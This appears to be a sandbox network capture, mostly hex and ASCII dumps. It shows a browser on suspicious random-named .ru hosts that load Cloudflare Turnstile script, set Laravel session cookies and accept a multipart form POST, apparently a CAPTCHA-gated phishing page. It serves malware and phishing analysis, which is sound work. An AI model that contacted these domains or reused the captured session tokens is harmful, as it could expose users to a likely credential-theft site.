challenges.cloudflare.com or are they self-hosting api.js?"};var Qt=300020;var We=300030;var Ue=300031;var q;(fu
2025-03-20 07:56:40 UTC	1369	IN	Data Raw: 61 6e 75 61 6c 22 2c 65 2e 41 75 74 6f 3d 22 61 75 74 6f 22 7d 29 28 5a 7c 7c 28 5a 3d 7b 7d 29 29 3b 76 61 72 20 63 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 4e 65 76 65 72 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 61 6e 75 61 6c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 75 74 6f 3d 22 61 75 74 6f 22 7d 29 28 63 65 7c 7c 28 63 65 3d 7b 7d 29 29 3b 76 61 72 20 51 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 41 6c 77 61 79 73 3d 22 61 6c 77 61 79 73 22 2c 65 2e 45 78 65 63 75 74 65 3d 22 65 78 65 63 75 74 65 22 2c 65 2e 49 6e 74 65 72 61 63 74 69 6f 6e 4f 6e 6c 79 3d 22 69 6e 74 65 72 61 63 74 69 6f 6e 2d 6f 6e 6c 79 22 7d 29 28 51 7c 7c 28 51 3d 7b 7d 29 29 3b 76 61 72 20 6d 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 52 65 6e 64 65 72 3d 22 72 Data Ascii: anual",e.Auto="auto"})(Z\|\|(Z={}));var ce;(function(e){e.Never="never",e.Manual="manual",e.Auto="auto"})(ce\|\|(ce={}));var Q;(function(e){e.Always="always",e.Execute="execute",e.InteractionOnly="interaction-only"})(Q\|\|(Q={}));var me;(function(e){e.Render="r
2025-03-20 07:56:40 UTC	1369	IN	Data Raw: 74 69 6f 6e 20 70 74 28 65 29 7b 72 65 74 75 72 6e 20 4c 28 5b 4d 2e 4e 6f 72 6d 61 6c 2c 4d 2e 43 6f 6d 70 61 63 74 2c 4d 2e 49 6e 76 69 73 69 62 6c 65 2c 4d 2e 46 6c 65 78 69 62 6c 65 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 76 74 28 65 29 7b 72 65 74 75 72 6e 20 4c 28 5b 22 61 75 74 6f 22 2c 22 6d 61 6e 75 61 6c 22 2c 22 6e 65 76 65 72 22 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 6d 74 28 65 29 7b 72 65 74 75 72 6e 20 4c 28 5b 22 61 75 74 6f 22 2c 22 6d 61 6e 75 61 6c 22 2c 22 6e 65 76 65 72 22 5d 2c 65 29 7d 76 61 72 20 4e 72 3d 2f 5e 5b 61 2d 7a 5d 7b 32 2c 33 7d 28 5b 2d 5f 5d 5b 61 2d 7a 5d 7b 32 7d 29 3f 24 2f 69 3b 66 75 6e 63 74 69 6f 6e 20 67 74 28 65 29 7b 72 65 74 75 72 6e 20 65 3d 3d 3d 22 61 75 74 6f 22 7c 7c 4e 72 2e 74 65 73 74 28 65 29 Data Ascii: tion pt(e){return L([M.Normal,M.Compact,M.Invisible,M.Flexible],e)}function vt(e){return L(["auto","manual","never"],e)}function mt(e){return L(["auto","manual","never"],e)}var Nr=/^[a-z]{2,3}([-_][a-z]{2})?$/i;function gt(e){return e==="auto"\|\|Nr.test(e)
2025-03-20 07:56:40 UTC	1369	IN	Data Raw: 22 72 6f 2d 72 6f 22 5d 3b 66 75 6e 63 74 69 6f 6e 20 54 74 28 65 2c 74 29 7b 76 61 72 20 61 3d 22 68 74 74 70 73 3a 2f 2f 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 22 3b 69 66 28 74 29 7b 76 61 72 20 6f 3b 61 3d 28 6f 3d 65 5b 22 62 61 73 65 2d 75 72 6c 22 5d 29 21 3d 3d 6e 75 6c 6c 26 26 6f 21 3d 3d 76 6f 69 64 20 30 3f 6f 3a 61 7d 72 65 74 75 72 6e 20 61 7d 66 75 6e 63 74 69 6f 6e 20 52 74 28 65 2c 74 2c 61 2c 6f 2c 63 2c 6c 2c 76 2c 68 29 7b 76 61 72 20 73 3d 54 74 28 61 2c 63 29 2c 70 3d 6c 3f 22 68 2f 22 2e 63 6f 6e 63 61 74 28 6c 2c 22 2f 22 29 3a 22 22 2c 5f 3d 68 3f 22 3f 22 2e 63 6f 6e 63 61 74 28 68 29 3a 22 22 2c 41 3d 61 5b 22 66 65 65 64 62 61 63 6b 2d 65 6e 61 62 6c 65 64 22 5d 3d 3d 3d 21 31 3f 22 66 62 44 Data Ascii: "ro-ro"];function Tt(e,t){var a="https://challenges.cloudflare.com";if(t){var o;a=(o=e["base-url"])!==null&&o!==void 0?o:a}return a}function Rt(e,t,a,o,c,l,v,h){var s=Tt(a,c),p=l?"h/".concat(l,"/"):"",_=h?"?".concat(h):"",A=a["feedback-enabled"]===!1?"fbD
2025-03-20 07:56:40 UTC	1369	IN	Data Raw: 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 7c 7c 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 72 65 74 75 72 6e 20 6f 2e 5f 5f 70 72 6f 74 6f 5f 5f 3d 63 2c 6f 7d 2c 65 65 28 65 2c 74 29 7d 66 75 6e 63 74 69 6f 6e 20 75 72 28 65 2c 74 29 7b 69 66 28 74 79 70 65 6f 66 20 74 21 3d 22 66 75 6e 63 74 69 6f 6e 22 26 26 74 21 3d 3d 6e 75 6c 6c 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 53 75 70 65 72 20 65 78 70 72 65 73 73 69 6f 6e 20 6d 75 73 74 20 65 69 74 68 65 72 20 62 65 20 6e 75 6c 6c 20 6f 72 20 61 20 66 75 6e 63 74 69 6f 6e 22 29 3b 65 2e 70 72 6f 74 6f 74 79 70 65 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 28 74 26 26 74 2e 70 72 6f 74 6f 74 79 70 65 2c 7b 63 6f 6e 73 74 72 75 63 74 6f 72 3a 7b 76 61 6c 75 65 3a 65 2c 77 72 69 74 Data Ascii: .setPrototypeOf\|\|function(o,c){return o.__proto__=c,o},ee(e,t)}function ur(e,t){if(typeof t!="function"&&t!==null)throw new TypeError("Super expression must either be null or a function");e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,writ
2025-03-20 07:56:40 UTC	1369	IN	Data Raw: 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 7d 7d 29 2c 65 65 28 63 2c 6f 29 7d 2c 47 65 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 73 72 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 26 26 28 46 28 74 29 3d 3d 3d 22 6f 62 6a 65 63 74 22 7c 7c 74 79 70 65 6f 66 20 74 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 29 3f 74 3a 7a 65 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 64 72 28 65 29 7b 76 61 72 20 74 3d 42 65 28 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6f 3d 6c 65 28 65 29 2c 63 3b 69 66 28 74 29 7b 76 61 72 20 6c 3d 6c 65 28 74 68 69 73 29 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3b 63 3d 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 28 6f 2c 61 72 67 75 6d 65 6e 74 73 2c 6c 29 7d 65 6c 73 65 20 63 3d 6f 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 Data Ascii: nfigurable:!0}}),ee(c,o)},Ge(e)}function sr(e,t){return t&&(F(t)==="object"\|\|typeof t=="function")?t:ze(e)}function dr(e){var t=Be();return function(){var o=le(e),c;if(t){var l=le(this).constructor;c=Reflect.construct(o,arguments,l)}else c=o.apply(this,ar
2025-03-20 07:56:40 UTC	1369	IN	Data Raw: 74 69 6f 6e 28 65 2c 74 2c 61 29 7b 76 61 72 20 6f 3d 54 74 28 74 2e 70 61 72 61 6d 73 2c 21 31 29 2c 63 3d 22 68 2f 22 2e 63 6f 6e 63 61 74 28 22 62 22 2c 22 2f 22 29 2c 6c 2c 76 2c 68 3d 22 22 2e 63 6f 6e 63 61 74 28 6f 2c 22 2f 63 64 6e 2d 63 67 69 2f 63 68 61 6c 6c 65 6e 67 65 2d 70 6c 61 74 66 6f 72 6d 2f 22 29 2e 63 6f 6e 63 61 74 28 63 2c 22 66 65 65 64 62 61 63 6b 2d 72 65 70 6f 72 74 73 2f 22 29 2e 63 6f 6e 63 61 74 28 58 65 28 65 29 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 74 2e 64 69 73 70 6c 61 79 4c 61 6e 67 75 61 67 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 28 76 3d 74 2e 70 61 72 61 6d 73 2e 74 68 65 6d 65 29 21 3d 3d 6e 75 6c 6c 26 26 76 21 3d 3d 76 6f 69 64 20 30 3f 76 3a 74 2e 74 68 65 6d 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 61 29 3b Data Ascii: tion(e,t,a){var o=Tt(t.params,!1),c="h/".concat("b","/"),l,v,h="".concat(o,"/cdn-cgi/challenge-platform/").concat(c,"feedback-reports/").concat(Xe(e),"/").concat(t.displayLanguage,"/").concat((v=t.params.theme)!==null&&v!==void 0?v:t.theme,"/").concat(a);

Timestamp	Bytes transferred	Direction	Data
2025-03-20 07:56:41 UTC	637	OUT	GET /favicon.png HTTP/1.1 Host: developers.cloudflare.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-Fetch-Storage-Access: active Referer: https://8rgz.mdrvgqsm.ru/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-20 07:56:41 UTC	740	IN	HTTP/1.1 200 OK Date: Thu, 20 Mar 2025 07:56:41 GMT Content-Type: image/png Content-Length: 937 Connection: close CF-Cache-Status: HIT Cache-Control: public, max-age=0, must-revalidate ETag: "6be7ff94b6151f8cfbf08b53a17e2ac1" Set-Cookie: __cf_bm=YjadG5oqy1UoMSC.u1qTWxNkI7cdQd1Lw6VeEFrhBSo-1742457401-1.0.1.1-u6uO5XRtYLsy6I5Yi.eIpfKRxE8yzktv_nnKcgvTTt0fIgwpSWKk5uAtiCz0AyJYpSbMIT7720uad4EtIxurgLrlQDa9JWKlhqIM6Grz7RM; path=/; expires=Thu, 20-Mar-25 08:26:41 GMT; domain=.developers.cloudflare.com; HttpOnly; Secure; SameSite=None Strict-Transport-Security: max-age=15552000; preload X-Content-Type-Options: nosniff access-control-allow-origin: * Server: cloudflare CF-RAY: 9233a787cbb36a56-EWR alt-svc: h3=":443"; ma=86400
2025-03-20 07:56:41 UTC	629	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 09 70 48 59 73 00 00 0b 12 00 00 0b 12 01 d2 dd 7e fc 00 00 03 5b 49 44 41 54 58 c3 ed 96 4b 48 54 51 18 c7 67 e6 86 91 04 d1 26 e8 a1 d7 c9 02 21 70 59 2d d4 71 d4 96 2d 42 93 48 82 08 a3 16 51 60 48 59 99 77 4c a7 4c ed b1 0d 8a da 44 a4 e6 a3 b2 a8 a8 4d bb 68 53 8b 48 a2 77 b4 c9 8d 77 46 e7 de 79 7c fd bf 73 cf 9d 39 8e 8f 32 85 36 73 e0 c7 77 e7 dc c7 ff ff 7d df 39 f7 8e c7 93 1b b9 b1 c0 11 6d f7 7b 22 a1 22 71 cc 51 85 c7 78 f3 5a 4f a4 bd 68 e9 85 55 11 79 ec 33 0d 5d 03 5e b3 4d f7 20 fa 30 a7 01 ef 44 37 4c 1a 99 eb 97 44 dc cc 88 b3 b0 77 de eb 0d 61 24 7d 2f 75 fa 17 29 6e e8 ee b1 a6 cc 07 40 17 18 04 a3 e0 06 38 08 56 f3 79 36 a9 9a Data Ascii: PNGIHDR szzpHYs~[IDATXKHTQg&!pY-q-BHQ`HYwLLDMhSHwwFy\|s926sw}9m{""qQxZOhUy3]^M 0D7LDwa$}/u)n@8Vy6
2025-03-20 07:56:41 UTC	308	IN	Data Raw: e5 01 1a ae 24 1a 01 0f 82 94 b8 17 10 11 06 de c4 b1 28 5d f1 0e ee 39 df 2c 85 85 09 69 c6 04 d7 c0 65 d0 03 c2 20 04 ce 80 13 a0 09 1c 01 87 e4 9b b0 01 bd 5f 93 b5 e8 ca 40 13 68 01 2f 84 89 fb c2 c4 2e 16 2f 55 32 4e 64 f5 92 e4 8b e6 07 f8 2e f9 a6 f0 55 f2 05 7c 06 9f c0 7b d0 28 16 da cd ad 79 10 09 81 d7 60 0c 7c 04 e3 dc 02 7a 5c cd 06 7a d9 40 0b 6f 35 18 88 e1 2d 98 94 0b 4f f4 54 c6 54 4c 29 af 35 17 1d ce 79 b1 6d 0d 9d ab 96 0f 81 01 7a 5a e3 94 7f d8 81 b3 c7 bc c5 8b 12 f1 3a 1b b8 42 97 8a 69 0a e5 8e 77 ce 82 d2 eb 3f 21 0c f0 f6 6d 2d 78 69 f5 95 1f a6 e7 3b 9c 9e 0f 65 0c 30 c9 41 cc e1 1c 57 c7 7d bf ef 45 a6 b5 88 75 ff 0a ee e7 c8 cf 68 30 4f ad 2f c5 de df 82 55 df 00 6a 41 1d c4 ea 2c 20 a2 f3 7b 0f 28 fc ff 7f b1 f8 dd cf 5f 3d Data Ascii: $(]9,ie _@h/./U2Nd.U\|{(y`\|z\z@o5-OTTL)5ymzZ:Biw?!m-xi;e0AW}Euh0O/UjA, {(_=

Timestamp	Bytes transferred	Direction	Data
2025-03-20 07:56:42 UTC	588	OUT	GET /favicon.png HTTP/1.1 Host: developers.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=YjadG5oqy1UoMSC.u1qTWxNkI7cdQd1Lw6VeEFrhBSo-1742457401-1.0.1.1-u6uO5XRtYLsy6I5Yi.eIpfKRxE8yzktv_nnKcgvTTt0fIgwpSWKk5uAtiCz0AyJYpSbMIT7720uad4EtIxurgLrlQDa9JWKlhqIM6Grz7RM
2025-03-20 07:56:42 UTC	435	IN	HTTP/1.1 200 OK Date: Thu, 20 Mar 2025 07:56:42 GMT Content-Type: image/png Content-Length: 937 Connection: close CF-Cache-Status: HIT Cache-Control: public, max-age=0, must-revalidate ETag: "6be7ff94b6151f8cfbf08b53a17e2ac1" Strict-Transport-Security: max-age=15552000; preload X-Content-Type-Options: nosniff access-control-allow-origin: * Server: cloudflare CF-RAY: 9233a78bcd17c440-EWR alt-svc: h3=":443"; ma=86400
2025-03-20 07:56:42 UTC	934	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 09 70 48 59 73 00 00 0b 12 00 00 0b 12 01 d2 dd 7e fc 00 00 03 5b 49 44 41 54 58 c3 ed 96 4b 48 54 51 18 c7 67 e6 86 91 04 d1 26 e8 a1 d7 c9 02 21 70 59 2d d4 71 d4 96 2d 42 93 48 82 08 a3 16 51 60 48 59 99 77 4c a7 4c ed b1 0d 8a da 44 a4 e6 a3 b2 a8 a8 4d bb 68 53 8b 48 a2 77 b4 c9 8d 77 46 e7 de 79 7c fd bf 73 cf 9d 39 8e 8f 32 85 36 73 e0 c7 77 e7 dc c7 ff ff 7d df 39 f7 8e c7 93 1b b9 b1 c0 11 6d f7 7b 22 a1 22 71 cc 51 85 c7 78 f3 5a 4f a4 bd 68 e9 85 55 11 79 ec 33 0d 5d 03 5e b3 4d f7 20 fa 30 a7 01 ef 44 37 4c 1a 99 eb 97 44 dc cc 88 b3 b0 77 de eb 0d 61 24 7d 2f 75 fa 17 29 6e e8 ee b1 a6 cc 07 40 17 18 04 a3 e0 06 38 08 56 f3 79 36 a9 9a Data Ascii: PNGIHDR szzpHYs~[IDATXKHTQg&!pY-q-BHQ`HYwLLDMhSHwwFy\|s926sw}9m{""qQxZOhUy3]^M 0D7LDwa$}/u)n@8Vy6
2025-03-20 07:56:42 UTC	3	IN	Data Raw: 42 60 82 Data Ascii: B`

Timestamp	Bytes transferred	Direction	Data
2025-03-20 07:57:00 UTC	565	OUT	GET /tarboz@zf1tq8 HTTP/1.1 Host: mlzgl.pnkptj.ru Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Origin: https://8rgz.mdrvgqsm.ru Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://8rgz.mdrvgqsm.ru/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-20 07:57:01 UTC	826	IN	HTTP/1.1 200 OK Date: Thu, 20 Mar 2025 07:57:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fAfD4gKNI8gTTZ0%2FOcskeX8DgSGZBUZnmSLGN4JU25x%2BgStm320cXz70xlJ8naPhrr1ryO3m%2Fg0MswwiNL2IwXx3IxLvDEb2yk1TArv9HId%2B3qs%2BQDn7CMYmHkec1CH6x84%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 9233a80119c2c328-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=97700&min_rtt=97406&rtt_var=20851&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2819&recv_bytes=1137&delivery_rate=38340&cwnd=182&unsent_bytes=0&cid=3494aad96b6da45e&ts=814&x=0"
2025-03-20 07:57:01 UTC	6	IN	Data Raw: 31 0d 0a 30 0d 0a Data Ascii: 10
2025-03-20 07:57:01 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-20 07:57:01 UTC	1415	OUT	POST /weMiO5475NClmL4euocG4r3o HTTP/1.1 Host: 8rgz.mdrvgqsm.ru Connection: keep-alive Content-Length: 774 sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1X6vqDFXUTQT7Mc4 sec-ch-ua-mobile: ?0 Accept: / Origin: https://8rgz.mdrvgqsm.ru Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://8rgz.mdrvgqsm.ru/1djFOQV/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6ImFKeC82MmRiM3ErK01uMHZaRWVPNFE9PSIsInZhbHVlIjoiNGxvTkpzbVcwQjBnU2RIZzQvbmdFZ0lmTWY4SS9HaURSSGlmc1gzQWJjU1MzMVJ4RTBHTHpxS3hzYzUwb29aZnRGMGZtQzIvaFIyNGVWaWRYOGNiV2tKaXQxcUwya1FlcHAwYVBWVVN4ZUtUVmUwRHUySDU5UGlpQlNMdVVrUnIiLCJtYWMiOiI5ZDNlYzZhZWI0MTRmYWQyNzcwNGM3NjAzNjE5MzIwYzRmMzdhZDhlOTI0NTY4M2MzNDhmYjE3MmE5ZmM4YWE5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkU4TjRYMW83NHMycEpzU3Fac1V3VkE9PSIsInZhbHVlIjoiRGhkWSthcmtUSW5HcTBEeTgxYlBWOHhCMEpTUHZUS1o0YWRXRVR5OHNMbFkwR2VjOTNNWjkwWjJycGhSVVlYdnFTL1N4aWxuUFZCQ1ZSWGdiTmJWcEdtWk9Gdit4dW00UEZuYTAyclUrZFRLS2NEQVVlU1N5SStCME1CVHpDWmoiLCJtYWMiOiJlMjhkNmQyNGJmMjBhNmFlM2UxYjkyNjMzMjdhNDM1YjUzOGQ1ZWI2NmM2NzQyY2I2N2ViOWZjODQ5YTdiNmQ1IiwidGFnIjoiIn0%3D
2025-03-20 07:57:01 UTC	774	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 31 58 36 76 71 44 46 58 55 54 51 54 37 4d 63 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 6c 74 70 67 22 0d 0a 0d 0a 44 65 65 39 49 0d 0a 2d 2d 2d 2d 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 31 58 36 76 71 44 46 58 55 54 51 54 37 4d 63 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 73 69 64 22 0d 0a 0d 0a 6e 35 4a 63 33 66 76 6a 35 75 43 77 57 72 30 52 7a 64 4e 6d 6e 66 70 47 48 57 31 36 6a 4b 70 4e 59 7a 42 50 4a 4b 51 64 0d 0a 2d 2d 2d 2d 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 31 58 36 76 Data Ascii: ------WebKitFormBoundary1X6vqDFXUTQT7Mc4Content-Disposition: form-data; name="bltpg"Dee9I------WebKitFormBoundary1X6vqDFXUTQT7Mc4Content-Disposition: form-data; name="sid"n5Jc3fvj5uCwWr0RzdNmnfpGHW16jKpNYzBPJKQd------WebKitFormBoundary1X6v
2025-03-20 07:57:02 UTC	1171	IN	HTTP/1.1 200 OK Date: Thu, 20 Mar 2025 07:57:02 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=iSwReVoNKaNM2lEXxj1NSA2GOlQix7IiPwbt8GWU1yaW1OApvA225FLO%2BtW42DWO7ww5xD8xUSCyLXdEqmyML4WUi3k3WomKX0QSMLMLvnjJGanJz20i7kCg3fji"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=10273&min_rtt=10162&rtt_var=3890&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2825&recv_bytes=3092&delivery_rate=280259&cwnd=252&unsent_bytes=0&cid=856bcf6e8f8b436b&ts=244&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6InViUFJsR3FuQ1hGOThEVVFxcFNsenc9PSIsInZhbHVlIjoiQVdpRGZJTUh6dUV4OW9hWHUra3NDTmhkTEx6M3dOVmpLa1Nxem1DMHorR0dRblh0Yk1jZzhqalBTOTFVdVptUU9QMFZnaERzRURsY1pPTFpDbGRUbFBCY1FiYWdKMFFpRUpWM2RPSCtheEVBbGtiSzczRTNjcFg1ZkpPMTNjcG0iLCJtYWMiOiJjNWMyNGJmNWRiY2ExYTk4NGQyNjExMTk5NmU1NjAyN2E5OWY2MTA0NDEwOGU0MGQ2YmI4ZTFmMjBlMzI5MTI5IiwidGFnIjoiIn0%3D; expires=Thu, 20-Mar-2025 09:57:02 GMT; Max-Age=7200; path=/; secure; samesite=none
2025-03-20 07:57:02 UTC	787	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6e 41 77 55 6d 4a 36 65 47 46 6e 4b 33 63 72 4d 45 31 45 65 57 4e 56 53 6d 35 76 5a 6c 45 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 59 55 39 59 4f 56 68 48 4f 58 4e 52 61 45 52 50 54 31 70 32 63 45 6c 4b 55 32 4a 51 56 31 68 77 51 6d 35 6e 55 56 52 78 4c 32 52 47 61 6d 77 34 62 6b 4d 77 56 54 5a 6f 62 6d 4e 34 56 47 64 58 56 6c 68 4a 56 55 74 6c 63 32 73 77 52 6c 52 4a 52 6b 31 50 64 48 4e 78 4c 31 64 34 59 30 46 69 54 33 51 79 64 30 74 68 56 32 5a 74 61 54 64 45 4d 56 63 35 4e 33 6b 34 54 57 56 49 64 48 52 59 52 32 35 74 63 46 68 47 4e 31 5a 36 51 69 74 6b 4e 6d 52 4a 63 58 4a 5a 64 45 56 51 52 58 67 7a 64 47 70 43 4e 48 42 49 4b 30 67 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6InAwUmJ6eGFnK3crME1EeWNVSm5vZlE9PSIsInZhbHVlIjoiYU9YOVhHOXNRaERPT1p2cElKU2JQV1hwQm5nUVRxL2RGamw4bkMwVTZobmN4VGdXVlhJVUtlc2swRlRJRk1PdHNxL1d4Y0FiT3Qyd0thV2ZtaTdEMVc5N3k4TWVIdHRYR25tcFhGN1Z6QitkNmRJcXJZdEVQRXgzdGpCNHBIK0g
2025-03-20 07:57:02 UTC	26	IN	Data Raw: 31 34 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 73 75 63 63 65 73 73 22 7d 0d 0a Data Ascii: 14{"status":"success"}
2025-03-20 07:57:02 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-20 07:57:02 UTC	1474	OUT	GET /1djFOQV/ HTTP/1.1 Host: 8rgz.mdrvgqsm.ru Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://8rgz.mdrvgqsm.ru/1djFOQV/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6InViUFJsR3FuQ1hGOThEVVFxcFNsenc9PSIsInZhbHVlIjoiQVdpRGZJTUh6dUV4OW9hWHUra3NDTmhkTEx6M3dOVmpLa1Nxem1DMHorR0dRblh0Yk1jZzhqalBTOTFVdVptUU9QMFZnaERzRURsY1pPTFpDbGRUbFBCY1FiYWdKMFFpRUpWM2RPSCtheEVBbGtiSzczRTNjcFg1ZkpPMTNjcG0iLCJtYWMiOiJjNWMyNGJmNWRiY2ExYTk4NGQyNjExMTk5NmU1NjAyN2E5OWY2MTA0NDEwOGU0MGQ2YmI4ZTFmMjBlMzI5MTI5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InAwUmJ6eGFnK3crME1EeWNVSm5vZlE9PSIsInZhbHVlIjoiYU9YOVhHOXNRaERPT1p2cElKU2JQV1hwQm5nUVRxL2RGamw4bkMwVTZobmN4VGdXVlhJVUtlc2swRlRJRk1PdHNxL1d4Y0FiT3Qyd0thV2ZtaTdEMVc5N3k4TWVIdHRYR25tcFhGN1Z6QitkNmRJcXJZdEVQRXgzdGpCNHBIK0giLCJtYWMiOiI5ZmU0ZjQ1ZjA4NjU4MGRkMjFmYTgyY2VhZTI4YTAyYjVjZDAwYzAxZmVkMzRmYTI0Y2ZjOGMwNjBkYzJkZDRhIiwidGFnIjoiIn0%3D
